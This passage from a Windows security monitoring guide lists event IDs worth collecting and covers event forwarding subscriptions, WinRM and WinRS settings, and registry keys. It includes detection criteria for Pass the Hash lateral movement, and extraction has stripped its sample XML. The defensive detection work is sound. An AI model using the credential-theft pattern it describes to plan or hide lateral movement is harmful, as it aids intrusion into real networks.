Microsoft-Windows-Application- Experience/Program- Inventory[47] Microsoft-Windows- Application-Experience Updated Application 905, 906[46] Informational Microsoft-Windows-Application- Experience/Program-Inventory Microsoft-Windows- Application-Experience Removed Application 907, 908[46] Informational Microsoft-Windows-Application- Experience/Program-Inventory Microsoft-Windows- Application-Experience Summary of Software Activities 800 Informational Microsoft-Windows-Application- Experience/Program-Inventory Microsoft-Windows- Application-Experience Update Packages Installed 2 Informatio nal Setup Microsoft-Windows-Servicing Windows Update Installed 19 Informational System Microsoft-Windows- WindowsUpdateClient Table 8: Software and Service Events It should be noted that an additional Program Inventory event ID 800 is generated, on Windows 7, daily at 12:30 AM to provide a summary of application activities (e.g., numbers of new application installation).[48] Event ID 800 is generated on Windows 8 as well under different circumstances. This event is beneficial to administrators seeking to id entify the number of applications were installed or removed on a machine. 4.7.1 Program Data Updater Administrators may have a process of inventorying software installed on clients. Windows has a component, Application-Experience, which tracks the activities of adding and removing software. The Program-Inventory log file is used by a scheduled task called Program Data Updater under Microsoft > Windows > Application Experience of the Task Scheduler. Program Data Updater is described as an application that “collects program telemetry info rmation if opted-in to the Microsoft Customer Experience Improvement Program.” [49] It is not required to be opted-in to the Microsoft Customer Experience Improvement Program (CEIP) to generate event ID 800, 903, 904, 905, 906, 907, or 908. These events do not apply to standalone executables. 4.8 Account Usage User account information can be collected and audited. Tracking local account usage can help detect Pass the Hash activity and other unauthorized account usage. Additional information such as remote desktop logins, users added to privileged groups, and account lockouts can also be tracked. User 46 These events only apply to Windows 7 as they were removed in Windows 8+. 47 Full Log Path is Applications and Services Logs > Microsoft > Windows > Application-Experience > Program-Inventory 48 Trigger information for Application Experience was taken from ProgramDataUpdater scheduled task 49 This description can be found under the General tab of the task called ProgramDataUpdater . 28 accounts being promoted to privileged groups should be audited very closely to ensure that users are in fact supposed to be in a privileged group. Unauthorized membership in privileged groups is a strong indicator that malicious activity has occurred. ID Level Event Log Event Source Account Lockouts 4740 Informational Securi ty Microsoft-Windows-Security-Auditing User Added to Privileged Group 4728, 4732, 4756 Informational Security Microsoft-Windows-Security-Auditing Security-Enabled group Modification 4735 Informational Security Microsoft-Windows-Security-Auditing Successful User Account Login 4624 Informational Security Microsoft-Windows-Security-Auditing Failed User Account Login 4625 Informational Security Microsoft-Windows-Security-Auditing Account Login with Explicit Credentials 4648 Informational Security Microsoft-Windows-Security-Auditing Table 9: Account Activity Events Lockout events for domain accounts are generated on the domain controller whereas lockout events for local accounts are generated on the local computer. 4.8.1 Account Management Event ID Fields Account activity events contain multiple fields describing what specific action was performed, and by whom. There are certain fields that warrant further explanation. [50] Event ID 4624 consists of six fields on Windows 7: Subject , Logon Type , New Logon , Process Information , Network Information , and Detailed Authentication Information . The Subject field identifies who requested the logon. The New Logon and Network Information fields provide respective information about the new account logon and the origin of the request. Process Information and Detailed Authentication is used to identify the process that performed the logon request and the authentication mechanism used. In event ID 4624, the sub-field Security ID of the Subject section may have NULL SID as a value. NULL SID is an account identifier (SID: S-1-0-0) used for unknown SID values. [51] 4.9 Kernel Driver Signing Introduction of kernel driver signing in the 64-bit version of Windows Vista significantly improves defenses against insertion of malicious drivers or activities in the kernel. [52] Any indication of a protected driver being altered may indicate malicious activity or a disk error and warrants investigation. 50 Event ID 4624 provides details of each field at the end of the event. 51 http://technet.microsoft.com/en-us/library/cc778824(v=ws.10).aspx 52 http://msdn.microsoft.com/en-us/libra ry/windows/hardware/ff548231(v=vs.85).aspx 29 ID Level Event Log Event Source Detected an invalid image hash of a file 5038 Informational Security Microsoft-Windows-Security- Auditing Detected an invalid page hash of an image file 6281 Informational Security Microsoft-Windows-Security- Auditing Code Integrity Check 3001, 3002, 3003, 3004, 3010, 3023 Warning, Error Microsoft-Windows- CodeIntegrity/Operational Microsoft-Windows- CodeIntegrity Failed Kernel Driver Loading 219 Warning System Microsoft-Windows-Kernel- PnP Table 10: Kernel Driver Signing Events 4.10 Group Policy Errors Management of domain computers permits administrators to heighten the security and regulation of those machines with Group Policy. The inability to ap ply a policy due to a group policy error reduces the aforementioned benefits. An administrator should investigate these events immediately. ID Level Event Log Event Source Internal Error 1125 Error System Microsoft-Windows-GroupPolicy Generic Internal Error 1127 Error Sy stem Microsoft-Windows-GroupPolicy Group Policy Application Failed due to Connectivit y 1129 Error System Microsoft-Windows-GroupPolicy Table 11: Group Policy Errors Events 4.11 Windows Defender Activities Spyware and malware remain a serious problem and Mi crosoft developed an antispyware and antivirus, Windows Defender, to combat this threat. [53] Any notifications of detecting, removing, preventing these malicious programs should be investigated. In th e event Windows Defender fails to operate normally, administrators should correct the issue immediately to prevent the possibility of infection or further infection. If a third-party antivirus and antispyware product is currently in use, the collection of these events is not necessary. 53 http://windows.microsoft.com/e n-us/windows-8/windows-defender 30 Scan Failed 1005 Error Microsoft-Windows- Windows Defender/Operational Microsoft-Windows-Windows Defender Detected Malware 1006 Warning Microsoft-Windows- Windows Defender/Operational Microsoft-Windows-Windows Defender Action on Malware Failed 1008 Error Microsoft-Windows- Windows Defender/Operational Microsoft-Windows-Windows Defender Failed to remove item from quarantine 1010 Error Microsoft-Windows- Windows Defender/Operational Microsoft-Windows-Windows Defender Failed to update signatures 2001 Error Microsoft-Windows- Windows Defender/Operational Microsoft-Windows-Windows Defender Failed to update engine 2003 Error Microsoft-Windows- Windows Defender/Operational Microsoft-Windows-Windows Defender Reverting to last known good set of signatures 2004 Warning Microsoft-Windows- Windows Defender/Operational Microsoft-Windows-Windows Defender Real-Time Protection failed 3002 Error Microsoft-Windows- Windows Defender/Operational Microsoft-Windows-Windows Defender Unexpected Error 5008 Error Microsoft-Windows- Windows Defender/Operational Microsoft-Windows-Windows Defender Table 12: Windows Defender Activities Events 4.12 Mobile Device Activities Wireless devices are ubiquitous and the need to record an enterprise’s wireless device activities may be critical. A wireless device could become compromised while traveling between different networks, regardless of the protocol used for communication (e.g., 802.11 or Bluetooth). Therefore, the tracking of which networks mobile devices are entering and exiting is useful to prevent further compromises. The creation frequency of the following events depends on how often the device disconnects and reconnects to a wireless network. Each event belo w provides mostly similar information with the exception that additional fields have been added to certain events. 31 ID Level Event Log Event Source Network Connection and Disconnection Status (Wired and Wireless) 10000,10001 Informational Microsoft-Windows- NetworkProfile/Operational Microsoft-Windows- NetworkProfile Starting a Wireless connection 8000, 8011 Informational Microsoft-Windows-WLAN- AutoConfig/Operational Microsoft-Windows-WLAN- AutoConfig Successfully connected to Wireless connection 8001 Informational Microsoft-Windows-WLAN- AutoConfig/Operational Microsoft-Windows-WLAN- AutoConfig Disconnect from Wireless connection 8003 Informational Microsoft-Windows-WLAN- AutoConfig/Operational Microsoft-Windows-WLAN- AutoConfig Wireless Association Status 11000, 11001, 11002 Informational Error Microsoft-Windows-WLAN- AutoConfig/Operational Microsoft-Windows-WLAN- AutoConfig Wireless Security Started, Stopped, Successful, or Failed 11004, 11005, 11010, 11006 Informational Error Microsoft-Windows-WLAN- AutoConfig/Operational Microsoft-Windows-WLAN- AutoConfig Wireless Connection Failed 8002 Error Microsoft-Windows-WLAN- AutoConfig/Operational Microsoft-Windows-WLAN- AutoConfig Wireless Authentication Started and Failed 12011, 12012 12013 Informational Error Microsoft-Windows-WLAN- AutoConfig/Operational Microsoft-Windows-WLAN- AutoConfig Table 13: Mobility related Events 4.13 External Media Detection Detection of USB device (e.g., mass storage devices) usage is important in some environments, such as air gapped networks. This section attempts to take the proactive avenue to detect USB insertion at real- time. Event ID 43 only appears under certain circumstances. The following events and event logs are only available in Windows 8 and above. Additional information can be found in the footnotes. ID Level Event Log Event Source New Device Information 43[54] Informational Microsoft-Windows-USB- USBHUB3-Analytic[ 55][56] Microsoft-Windows-USB- USBHUB3 New Mass Storage Installation 400[57] Informational Microsoft-Windows-Kernel- PnP/Device Configuration Microsoft-Windows-Kernel- PnP New Mass Storage Installation 410[57] Informational Microsoft-Windows-Kernel- PnP/Device Configuration Microsoft-Windows-Kernel- PnP Table 14: External Media Detection Events Microsoft-Windows-USB-USBHUB3-Analytic is not an event log per se; it is a trace session log that stores tracing events in an Event Trace Log (.etl) file. The events created by Microsoft-Windows-USB-USBHUB3 publisher are sent to a direct channel (i.e., Analytic log) and cannot be subscribed too for event collection. [58] Administrators should seek an alternative me thod of collecting and analyzing this event (43). 54 This event is generated for any USB 2.0 and 3.0 devices being inserted into an USB 3.0 port. The respective event log was not introduced until Windows 8. 55 This is an Analytic log (i.e., this is an Event Tracing for Windows, ETW, trace session log). These logs are disabled by default. When the channel is enabled, ETW will start processing this event. 56 http://technet.microsoft.com/en-us/library/cc749492.aspx 57 This event is generated for any USB device being inserted into any USB port (2.0 or 3.0). However, this event is only generate d once (the first time the device is introduced into the system). 58 http://msdn.microsoft.com/en-us/library/aa385225.aspx 32 4.14 Printing Services Document printing is essential for daily operations in many environments. The vast amount of printing requests increases the difficulty in tracking and identifying which document was printed and by whom. Documents forwarded to a printer for processing can be recorded for logging purposes in multiple ways. Each printing job can be logged either by a printing server, the printer itself, or the requesting machine. The logging of these activities permits early detection of printing certain documents. The following event is generated on the client machine requesting to print a document. The event listed below may be produced excessively depending on printing activity. This event should be treated as a historical record or an additional piece of evidence rather than an auditing record of printing jobs. ID Level Event Log Event Source Printing Document 307 Informational Microsoft-Windows- PrintService/Operational Microsoft-Windows-PrintService Table 15: Printing Services Events This operational log is disabled by default and requires the log to be enabled to capture this event. 4.15 Pass the Hash Detection Tracking user accounts for detecting Pass the Hash (PtH) requires creating a custom view with XML to configure more advanced filtering options. The event query language is based on XPath. The recommended QueryList below is limited in detecting PTH attacks. These queries focus on discovering lateral movement by an attacker using local accounts that are not part of the domain. The QueryList captures events that show a local account attempting to connect remotely to another machine not part of the domain. This event is a rarity so any occurrence should be treated as suspicious. These XPath queries below are used for the Event Viewer’s Custom Views . The successful use of PtH for lateral movement between workstations would trigger event ID 4624, with an event level of Information, from the security log. This behavior would be a LogonType of 3 using NTLM authentication where it is not a domain logon and not the ANONYMOUS LOGON account. To clearly summarize the event that is being collected: EventID Log Level LogonType Authentication Package Name 4624 Security Information 3 NTLM In the QueryList below, substitute the section with the desired domain name. 33 A failed logon attempt when trying to move laterally using PtH would trigger an event ID 4625. This would have a LogonType of 3 using NTLM authentication where it is not a domain logon and not the ANONYMOUS LOGON account. To clearly summarize the event that is being collected: EventID Log Level LogonType Authentication Package Name 4625 Security Information 3 NTLM 4.16 Remote Desktop Logon Detection Remote Desktop account activity events are not easily identifiable using the Event Viewer GUI. When an account remotely connects to a client, a generic successful logon event is created. A custom Query Filter can aid in clarifying the type of logon that was performed. The query below shows logins using Remote Desktop. Remote Desktop activity should be monitored since only certain administrators should be using it, and they should be from a limited set of management workstations. Any Remote Desktop logins outside of expected activity should be investigated. The XPath queries below are used for the Event Viewer’s Custom Views . Event ID 4624 and Event ID 4634 respectively indicate when a user has logged on and logged off with RDP. A LogonType with the value of 10 indicates a Remote Interactive logon. [59] 59 http://msdn.microsoft.com/en-us/library/windows/desktop/aa380129(v=vs.85).aspx 34 EventID Log Level LogonType Authentication Package Name 4624 Security Information 10 Negotiate 4634 Security Information 10 N/A 5 Event Log Retention It is recommended that the Forwarded Events log file on the server designated as the central point for log collection is set to a size of approximately 1GB and enable the Archive the log when full, do not overwrite events policy to control the behavior when the event log has reach capacity. The theoretical maximum log file size for the forwarded events log on Windows Server 2008 R2 is 2 terabytes [60], but as the log file becomes larger the Event Viewer UI takes longer to load and show results for custom views. Depending on the size of the network, a 1GB forwarded events log file can hold anywhere from a few hours to a few days worth of log data. Due to this size limitation, it is important to review the log regularly (once a day) and setup archiving, or alternat ively feed the log data into some larger Security Information Event Management (SIEM) system. It may be beneficial to have the Forwarded Events log file reside on a larger and separate disk. An alternative option is to store the Forwarded Events log file on a network mapped drive that has a large amount of disk space. This slight modification can be completed by: 1. Open Event Viewer 2. Select Forwarded Events under Windows Logs and right-click Forwarded Events 3. Select Properties 4. Change Log Path to specify the absolute path to new log file a. Network-mapped drives must be specified by their names (e.g., \\NetDrive\newdir\Fwd.evtx) 5. Select OK This modification will not affect custom views or subscriptions already deployed. 60 http://technet.microsoft.com/en-us/library/hh125924(v=ws.10).aspx 35 Client workstations and servers in DoD should follow th e DISA STIG for setting the size of other log files (Application, System, Setup, and Security). [61][62] The maximum log file sizes are intended for the server whose role is the event collection server of the domain. Client machines do not need to specify a maximum log size or retention policy on log files not mentioned in the DISA STIG. When Event Forwarding is properly configured, all subscribed (collected) events from those logs not mentioned by the DISA STIG will be sent to the collector for archiving. 6 Final Recommendations The central collection of event information helps ente rprises gain significant aw areness into activities occurring on the network. Collecting targeted events has the benefit of reducing network and storage requirements while providing useful audit information. Targeted event collection reduces the burden and time required for administrators to review logs which may lead to administrators detecting unapproved or malicious activities. 7 Appendix PowerShell scripts and subscription XML files associated with this guide can be on found on the IAD GitHub site at https://github.com/iadgov 7.1 Subscriptions Event Forwarding on Windows uses subscriptions to specify which events from a set of computers to collect. This section discusses the details of subscriptions and custom subscriptions for Windows 7 computers. The sample subscription files in this section can be copied as XML files and loaded into the event collector using the command line tool , wecutil.exe. Each of the sample subscriptions do not specify whom is permitted to use the subscriptions ( AllowedSourceDomainComputers is blank). The creation of the sample subscription can be completed by executing the following commands in order: 1. wecutil cs .xml a. An error stating The subscription fails to activate will appear so ignore it 2. wmic path Win32_group where name=’EventSource’ get sid a. Store this value temporarily 3. Obtain the value of the SubscriptionId element from the subscription XML file 4. Using the SID value found in step 2, correct the subscriptions configuration by executing wecutil ss SubscriptionId /adc:O:NSG:BAD:P(A;;GA;;;sid_value)S: 5. To verify that no issues are present, execute wecutil rs SubscriptionId The parameter /adc of wecutil is used to set a Security Descriptor Definition Language (SDDL) for the targeted subscription. SDDL is briefly discussed in th e Security Descriptor Definition Language section. 61 DISA STIG: Windows 7 Security Technical Implementation Guid e Version 1. Group ID (Vulid): V-26579, V-26580, V-26581, V-26582 62 DISA STIG: Windows Server 2008 R2 Security Technical Implementa tion Guide Version 1. Group ID (Vulid): V-26579, V-26580, V-265 81, V- 26582 36 7.1.1 Subscription XML Details A subscription is simply a XML file that describes to the operating system what event logs to collect and forward. The following subscription example demonstrat es the collection of all events in the Application log from a source (client). The targeted sources are the Domain Computers group and the Domain Controllers group. This subscription example is for testing purposes as it will collect a large amount of events and is not recommended for production use. The example below conforms to the MS-WSMV: Web Services Management Protocol Extensions for Windows Vista, as the subscription was created on Windows Server 2008 R2. [63] Application Log SourceInitiated true http://schemas.microsoft.com/wbem/wsman/1/windows/EventLog MinLatency 30000 ]]> false HTTP RenderedText ForwardedEvents Microsoft-Windows-EventCollector O:NSG:NSD:(A;;GA;;;DC)(A;;GA;;;DD) The following table details each node of the above subscription: [63] 63 wecutil ss -? 37 Node Description Subscription The subscription schema SubscriptionId The subscription’s identification Description Describes the subscription Enabled Specifies if the current subscription is enabled or disabled Uri The type of event used by the subscription. ConfigurationMode Used for the Event Delivery Optimization of subscriptions. The four valid options are: Normal, MinLatency, MinBandwidth or Custom Delivery Mode Indicates how events should be sent to the subscription manager. The mode can either be: Push (Source-Initiated) or Pull (Collector-Initiated) QueryList Used for event filtering and is a XPath query [ 64] Heartbeat Used to validate the client’s connectivity with subscription [ 65] ReadExistingEvents Notifies the subscription to read all events matching the filter [64] TransportName Indicates that either HTTP or HTTPS will be used ContentFormat Specifies how the event data will be given to the subscription manager [64] Locale Language that the response is translated too [64] LogFile The event log file where the received events will be stored at PublisherName The name of the publisher that owns or imports the log file AllowedSourceNonDomainComputers List the allowed non-domain computers that can receive the subscription AllowedSourceDomainComputers List the allowed domain computers that can receive the subscription Table 16: Subscription XML Description 7.1.2 Sample Subscriptions to Collect Recommended Events Sample subscriptions provided in conjunction with this security guidance can be found in Subscriptions\NT6 and Subscriptions\samples directorie s of the EvtFwdSubscriptions_r.zip ZIP file. This compressed file consists of scripts and subscriptions to automate the use of Event Collection. These subscriptions collect the recommended events discussed in the Recommended Events to Collect section of this guide. These subscriptions targets event collected from Windows 7 and above workstations. 7.2 Event ID Definitions This guidance document has given a list of event IDs to be aware of when monitoring activity. This list is not complete nor should it be the only set of events to be collected. Each environment will most likely focus on specific events or currently using a third party application for event monitoring. Microsoft’s Events and Errors Message Center web site provides a central location for identifying some event IDs for each Windows operating system. [66] Effective use of this resource requires an event ID, or some other information about the event, is known beforehand. Windows Server 2003 auditing event ID listings can be found in two locations [67] xAuditing Policy from Windows Server 2003: Security and Protection: http://technet.microsoft.com/en-us/library/cc779526(v=ws.10).aspx xChapter 4 of the Windows Server 2003 Security Guide: http://technet.micosoft.com/library/cc163121.aspx Windows Server 2008 and Windows Server 2008 R2 events and errors details for general OS components can be found on Microsoft’s TechNet website xWindows Server 2008: Events and Errors http://technet.microsoft.com/en-us/library/cc754424(v=ws.10).aspx 64 ([MS-WSMV]: Web Services Management Protocol Extensions for Windows Vista, 2012) 65 (Web Services Management - WS-MAN, 2008) 66 http://www.microsoft.com/techne t/support/ee/ee_advanced.aspx 67 http://blogs.msdn.com/b/ericfitz/archive/2007/ 10/12/list-of-windows-server-2003-events.aspx 38 Windows Server 2008 Component-Based Servicing events xUpdate and package related events: http://technet.microsoft.com/en-us/library/cc756291(v=ws.10).aspx Windows 7 and above AppLocker Event IDs and definitions: xhttp://technet.microsoft.com/en-us/library/ee844150(v=ws.10).aspx Windows Vista, Windows Server 2008, Windows 7 and Windows Server 2008 R2 security audit events are provided by Microsoft either by a support article or a downloadable Excel file. [68][69][70] The Windows operating system, beginning with Windows Vista, provides a command line tool, wevtutil, to list all event IDs raised by a publisher along with the event’s message. [71] The Windows Events Command Line Utility can obtain information regarding event logs and publishers. [72] The following command will get the publisher (gp/get- publisher), obtain information on events that the publisher uses, and produce readable messages for each event. This command can be applied to any publisher to obtain a list of all their events. wevtutil gp Microsoft-Windows-Security-Auditing /ge:true /gm:true [73] The mapping of security event IDs between Windows XP and the latest versions of Windows can be revealed in some cases by a simple addition or subtraction of 4096 10/0x1000 16. [74] This rule is not applicable to events dealing with successful and failed logons. [74] 7.3 Windows Remote Management Versions There have been five versions of WinRM since its introduction in Windows Server 2003 R2 as of this writing. The following table correlates each WinRM version to a supported Windows operating system version. [75] 68 http://www.microsoft.com/en-us/download/details.aspx?id=17871 69 http://support.microsoft.com/kb/947226 70 http://www.micrsoft.com/en-us/download/details.aspx?id=21561 71 wevtutil /? 72 http://technet.microsoft.com/en-us/library/cc732848(WS.10).aspx 73 http://blogs.microsoft.com/b/ericfitz/archive/2007/07/31/documentation-on-the-windows-vista-and-windows-server-2008-security- events.aspx 74 http://blogs.msdn.com/b/ericfitz/archive/2009/06/10/mapping-pre-vista-security-events-ids-to-security-events-ids-in-vista.aspx 75 http://technet.microsoft.com/en-us/library/ff520073(v=ws.10).aspx 39 Version Support WinRM 0.5 Windows Server 2003 R2* WinRM 1.0 Windows Vista WinRM 1.1 Windows Vista SP1 Windows Server 2008 Windows Server 2003 SP1** Windows Server 2003 SP2** Windows Server 2003 R2** Windows XP SP2** WinRM 2.0 Windows 7 Windows Server 2008 R2 Windows Server 2008 SP1*** Windows Server 2008 SP2*** Windows Vista SP1*** Windows Vista SP2*** Windows XP SP3*** WinRM 3.0 Windows 8 Windows 7 SP1**** Windows Server 2008 SP1**** Windows Server 2008 SP2**** Table 17: WinRM Version Correlation * = Installed from the Add/Remove System Components feature within the Hardware Management feature ** = Install WS-Management v1.1. [76] *** = Installed as part of the Windows Management Framework Core package. [77][78] This update requires at least Microsoft .NET Framework 2.0 Service Pack 1. [79] **** = Installed as part of Windows Mana gement Framework 3.0. This update requires at least Microsoft .NET Framework 4.0. [80] Installation packages for WinRM can be found in knowledge base articles, shown below. WinRM Version (KB#) Supported OS KB URIs WinRM 1.1 (KB936059) Windows Server 2003 SP1 Windows Server 2003 SP2 Windows XP SP2 Windows XP SP3* http://support.microsoft.com/kb/936059 + WinRM 2.0 (KB968930) Windows Server 2003 SP2 Windows Server 2008 Windows Server 2008 SP2 Windows Vista SP1 Windows Vista SP2 Windows XP SP2* Windows XP SP3 http://support.microsoft.com/kb/968930 + * Requires Microsoft Windows Installer 3.1 * Requires .NET Framework 2.0 SP1 WinRM 3.0 (KB2506146) Windows 7 SP1 Windows Server 2008 R2 SP1 Windows Server 2008 SP2 http://support.microsoft.com/kb/2506146 + * Requires .NET Framework 4.0 * Update comes with Release Notes Table 18: WinRM Version Update URLs Microsoft published a knowledge base article (KB936059)[81] and an update for WinRM 1.1. [82] The knowledge base article offers additional post-installation information to the update that is not mentioned in this document. The actual update can be applied to Windows XP SP2, Windows Server 2003 SP1, Windows Server 2003 SP2, and Windows 2003 Server R2. 76 https://www.microsoft.com/en-us/download/details.aspx?id=21900 77 https://www.microsoft.com/en-us/download/details.aspx?id=9864 78 https://www.microsoft.com/en-us/download/details.aspx?id=16818 79 https://www.microsoft.com/en-us/download/details.aspx?id=16614 80 https://www.microsoft.com/en-us/download/details.aspx?id=34595 81 http://support.microsoft.com/kb/936059 82 https://www.microsoft.com/en-us/download/details.aspx?id=21900 40 7.4 WinRM 2.0 Configuration Settings The quick configuration option of WinRM uses the following default configuration settings on Windows Server 2008 R2. [21][83] Default values of WinRM configuration settings are shown and referenced from Microsoft Developer Network (MSDN) in this document for convenience. [21] The following WinRM command displays the configuration setting of WinRM winrm get winrm/config It produces the following example output: Config MaxEnvelopeSizekb = 150 MaxTimeoutms = 60000 MaxBatchItems = 32000 MaxProviderRequests = 4294967295 Client NetworkDelayms = 5000 URLPrefix = wsman AllowUnencrypted = false Auth Basic = true Digest = true Kerberos = true Negotiate = true Certificate = true CredSSP = false DefaultPorts HTTP = 5985 HTTPS = 5986 TrustedHosts Service RootSDDL = O:NSG:BAD:P(A;;GA;;;BA)S:P(AU;FA;GA;;;WD)(AU;SA;GWGX;;;WD) MaxConcurrentOperations = 4294967295 MaxConcurrentOperationsPerUser = 15 EnumerationTimeoutms = 60000 MaxConnections = 25 MaxPacketRetrievalTimeSeconds = 120 AllowUnencrypted = false Auth Basic = false Kerberos = true Negotiate = true Certificate = false CredSSP = false CbtHardeningLevel = Relaxed DefaultPorts HTTP = 5985 HTTPS = 5986 IPv4Filter = * IPv6Filter = * EnableCompatibilityHttpListener = false EnableCompatibilityHttpsListener = false CertificateThumbprint Winrs AllowRemoteShellAccess = true IdleTimeout = 180000 MaxConcurrentUsers = 5 MaxShellRunTime = 2147483647 MaxProcessesPerShell = 15 MaxMemoryPerShellMB = 150 MaxShellsPerUser = 5 Each of field of the above output is described in the following sections. 7.4.1 Protocol Settings These settings are configurable options for the WS-Management protocol used by WinRM. 83 ([MS-WSMV]: Web Services Management Protocol Extensions for Windows Vista, 2012) 41 Parameters Description MaxEnvelopeSizekb The Simple Object Access Protoc ol (SOAP) data size has maximum in kilobytes Default is 150 kilobytes MaxTimeoutms Each push request (not pull) has a maximum timeout. This value is in milliseconds. Default is 60000ms (60 seconds) MaxBatchItems The limit of elements used in a pull response. Default for WinRM 1.1 and earlier: 20 Default for WinRM 2.0: 32000 MaxProviderRequests The limit on concurrent requests. Default for WinRM 1.1 and earlier: 25 Default for WinRM 2.0: Unsupported/Undefined Table 19: Protocol Settings 7.4.2 Client Configuration The following parameters configures on how the WinRM client operates. Parameters Description NetworkDelayms A time buffer for the client computer to wait in milliseconds. Default WinRM 1.1 and earlier: 5000 Default WinRM 2.0: 5000 URLPrefix The type of URLPrefix used on request for HTTP or HTTPS requests. Default WinRM 1.1 and earlier: wsman Default WinRM 2.0: wsman AllowUnencrypted Clients are allowe d to request unencrypted traffic. Default WinRM 1.1 and earlier: false Default WinRM 2.0: false Auth Specifies which authentication method is allowed for the client computer DefaultPorts Default WinRM 1.1 and earlier: HTTP = 80, HTTPS = 443 Default WinRM 2.0: HTTP = 5985, HTTPS = 5986 TrustedHosts These trusted hosts do not need to be authenticated. Table 20: WinRM Client Configuration 7.4.3 WinRM Service The following parameters are used by the WinRM service. 42 Parameters Description RootSDDL The security descriptor for remotely accessing the listener Default WinRM 1.1 and earlier: O:NSG:BAD:P(A;;GA;;;BA)S:P(AU;FA;GA;;;WD)(AU;SA;GWGX;;;WD) Default WinRM 2.0: O:NSG:BAD:P(A;;GA;;;BA)(A;;GR;;;ER)S:P(AU;FA;GA;;;WD) MaxConcurrentOperations The maximum number of concurrent operations. Default WinRM 1.1 and earlier: 100 Default WinRM 2.0: replaced with MaxConcurrentOperationPerUser MaxConcurrentOperationsPerUser The limit of concurre nt operation for each user on the same system. Default WinRM 1.1 and earlier: Not available Default WinRM 2.0: 15 EnumerationTimeoutms The idle timeout between pull messages in milliseconds. Default WinRM 1.1 and earlier: 60000 Default WinRM 2.0: 60000 MaxConnections The maximum number of simultaneo us active requests that can be processed. Default WinRM 1.1 and earlier: 5 Default WinRM 2.0: 25 MaxPacketRetrievalTimeSeconds The limit on the number of seconds to retrieve a packet. Default WinRM 1.1 and earlier: Not available Default WinRM 2.0: 120 AllowUnencrypted Clients are allowe d to request unencrypted traffic. Default WinRM 1.1 and earlier: false Default WinRM 2.0: false Auth Specifies which authentication method is allowed for the client computer. DefaultPorts Default WinRM 1.1 and earlier: HTTP = 80, HTTPS = 443 Default WinRM 2.0: HTTP = 5985, HTTPS = 5986 IPv(4/6) Filter The IP for the WinRM service to listen on. Default WinRM 1.1 and earlier: Any Default WinRM 2.0: Any EnableCompatibilityHttpListener Service listens on port 80 and port 5985. WinRM 1.1 and earlier: Not supported EnableCompatibilityHttpsListener Service listens on port 443 and port 5986. WinRM 1.1 and earlier: Not supported CertificateThumbprint The certificate thumb print used for https. WinRM 1.1 and earlier: Not supported Table 21: WinRM Service 7.4.4 WinRS Windows Remote Shell (WinRS) is turned on by default. The recommendation is to disable it. Each of the parameters for WinRS will use the default value if no policy is configured. [84][21] 84 http://msdn.microsoft.com/en-us/library/windows/desktop/ee309367(v=vs.85).aspx 43 Parameters Description AllowRemoteShellAccess Permit remote shell access IdleTimeout The time, in milliseconds, before a shell connection is terminated. MaxConcurrentUsers Maximum number of users that can re quest shell access at one time MaxShellRunTime Maximum duration, in milliseconds, that command can run for. This value is not configurable in WinRM 2.0. MaxProcessesPerShell Maximum number of processes th at a single shell can create. MaxMemoryPerShellMB Maximum number of memory that a single shell can use. MaxShellsPerUser Maximum number of shells a user can create. Table 22: WinRS Configuration Settings 7.5 WinRM Registry Keys and Values Throughout this document, registry keys can be used for verification purposes only. Do not to modify any registry keys as this may cause unforeseen problems and possible system corruption. The following registry keys appear once a Domain Controller configures WinRM via Group Policies. Registry Values Description HKLM\SOFTWARE\Policies\Microsoft\Windows\EventLog\EventF orwarding\SubscriptionManager\1 Subscription Manager registry key HKLM\SOFTWARE\Policies\Microsoft\Windows\WinRM\Service\AllowConfig HKLM\SOFTWARE\Policies\Microsoft\Windows\WinRM\Service\IPv4Filter HKLM\SOFTWARE\Policies\Microsoft\Windows\WinRM\Service\IPv6Filter HKLM\SOFTWARE\Policies\Microsoft\Windows\WinRM\Service\AllowBasic HKLM\SOFTWARE\Policies\Microsoft\Windows\WinRM\Service\AllowUnencryptedTraffic HKLM\SOFTWARE\Policies\Microsoft\Windows\WinRM\Service\AllowCredSSP HKLM\SOFTWARE\Policies\Microsoft\Windows\WinRM\Service\AllowKerberos HKLM\SOFTWARE\Policies\Microsoft\Windows\WinRM\Service\CBTHardeningLevelStatus HKLM\SOFTWARE\Policies\Microsoft\Windows\WinRM\Service\CbtHardeningLevel HKLM\SOFTWARE\Policies\Microsoft\Windows\WinRM\Service\AllowNegotiate WinRM Service registry keys HKLM\SOFTWARE\Policies\Microsoft\Windows\WinRM\Client\AllowBasic HKLM \SOFTWARE\Policies\Microsoft\Windows\WinRM\Client\AllowUnencryptedTraffic HKLM \SOFTWARE\Policies\Microsoft\Windows\WinRM\Client\AllowCredSSP HKLM \SOFTWARE\Policies\Microsoft\Windows\WinRM\Client\AllowDigest HKLM \SOFTWARE\Policies\Microsoft\Windows\WinRM\Client\AllowKerberos HKLM \SOFTWARE\Policies\Microsoft\Windows\WinRM\Client\AllowNegotiate WinRM Client registry keys HKLM\SOFTWARE\Policies\Microsoft\Windows\WinRM\Service\WinRS\AllowRemoteShellAccess HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\WINRS HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\WINRS\CustomRemoteShell Windows Remote Shell registry keys HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\CertMap HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Client HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Listener HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Listener\*+HTTP HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Plugin HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Plugin\EventForwarding Plugin HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Service WSMAN Services registry keys Table 23: WinRM, WinRS, WSMAN and Event Forwarding Registry Values 7.5.1 Security Descriptor Definition Language The language in the AllowedSourceDomainComputers node is called Security Descriptor Definition Language (SDDL). [85] A subscription can be customized to target single or multiple users, computers, or groups. The SID value of any of the aforementioned entities can be used to configure the targeted subscription’s SDDL. 85 http://msdn.micosoft.com/en-us/libra ry/windows/desktop/aa379567(v=vs.85).aspx 44 Microsoft provided the SDDL structure as shown: [86] O: Owner_SID G: Group_SID D: DACL_FLAGS(string_ace1)(string_ace2)…. (string_aceN) S: SACL_FLAGS(string_ace1)(string_ace2)…. (string_aceN) string_ace are optional Access Control Entries. ACE has the following structure: [87] (AceType;AceFlags;Rights;ObjectGuid;InheritObjectGuid;AccountSID;resource_attribute) There is also an option to us e conditional ACE; however, that will not be discussed here. [88] An example of a SDDL is: 